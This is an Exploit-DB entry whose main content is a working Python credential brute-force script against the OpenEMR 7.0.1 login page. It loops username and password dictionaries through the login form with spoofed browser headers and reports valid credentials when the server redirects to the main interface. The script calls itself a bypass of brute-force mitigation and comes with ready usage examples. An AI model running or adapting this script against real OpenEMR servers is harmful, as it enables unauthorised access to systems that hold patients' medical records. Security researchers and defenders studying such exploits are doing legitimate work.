OpenEMR v7.0.1 - Authentication credentials brute force

EDB-ID:
51413

CVE:
N/A

EDB Verified: ×

Author:
ABHHI (ABHISHEK BIRDAWADE)

Type:
WEBAPPS

Exploit: / {}

Platform:
PHP

Date:
2023-05-02

Vulnerable App:

```
# Exploit Title: OpenEMR v7.0.1 - Authentication credentials brute force
# Date: 2023-04-28
# Exploit Author: abhhi (Abhishek Birdawade)
# Vendor Homepage: https://www.open-emr.org/
# Software Link:
https://github.com/openemr/openemr/archive/refs/tags/v7_0_1.tar.gz
# Version: 7.0.1
# Tested on: Windows

'''
Example Usage:
- python3 exploitBF.py -l "http://127.0.0.1/interface/main/main_screen.php?
auth=login&site=default" -u username -p pass.txt
'''

import requests
import sys
import argparse, textwrap
from pwn import *

#Expected Arguments
parser = argparse.ArgumentParser(description="OpenEMR <= 7.0.1
Authentication Bruteforce Mitigation Bypass",
formatter_class=argparse.RawTextHelpFormatter,
epilog=textwrap.dedent('''
Exploit Usage :
python3 exploitBF.py -l http://127.0.0.1/interface/main/main_screen.php?
auth=login&site=default -u username -p pass.txt
python3 exploitBF.py -l http://127.0.0.1/interface/main/main_screen.php?
auth=login&site=default -ul user.txt -p pass.txt
python3 exploitBF.py -l http://127.0.0.1/interface/main/main_screen.php?
auth=login&site=default -ul /Directory/user.txt -p /Directory/pass.txt'''))

parser.add_argument("-l","--url", help="Path to OpenEMR (Example:
http://127.0.0.1/interface/main/main_screen.php?auth=login&site=default)")
parser.add_argument("-u","--username", help="Username to Bruteforce for.")
parser.add_argument("-ul","--userlist", help="Username Dictionary")
parser.add_argument("-p","--passlist", help="Password Dictionary")
args = parser.parse_args()

if len(sys.argv) < 2:
    print (f"Exploit Usage: python3 exploitBF.py -h")
    sys.exit(1)

# Variable
LoginPage = args.url
Username = args.username
Username_list = args.userlist
Password_list = args.passlist

log.info('OpenEMR Authentication Brute Force Mitigation Bypass Script by
abhhi \n ')

def login(Username,Password):
    session = requests.session()
    r = session.get(LoginPage)

# Progress Check
    process = log.progress('Brute Force')

#Specifying Headers Value
    headerscontent = {
    'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
Firefox/78.0',
    'Referer' : f"{LoginPage}",
    'Origin' : f"{LoginPage}",
    }
```

```
#POST REQ data
    postreqcontent = {
    'new_login_session_management' : 1,
    'languageChoice' : 1,
    'authUser' : f"{Username}",
    'clearPass' : f"{Password}"
    }

#Sending POST REQ
    r = session.post(LoginPage, data = postreqcontent, headers =
headerscontent, allow_redirects= False)

#Printing Username:Password
    process.status('Testing -> {U}:{P}'.format(U = Username, P = Password))

#Conditional loops
    if 'Location' in r.headers:
        if "/interface/main/tabs/main.php" in r.headers['Location']:
            print()
            log.info(f'SUCCESS !!')
            log.success(f"Use Credential -> {Username}:{Password}")
            sys.exit(0)

#Reading User.txt & Pass.txt files
if Username_list:
    userfile = open(Username_list).readlines()
    for Username in userfile:
        Username = Username.strip()

passfile = open(Password_list).readlines()
for Password in passfile:
    Password = Password.strip()
    login(Username,Password)
```

Tags:

Advisory/Source: Link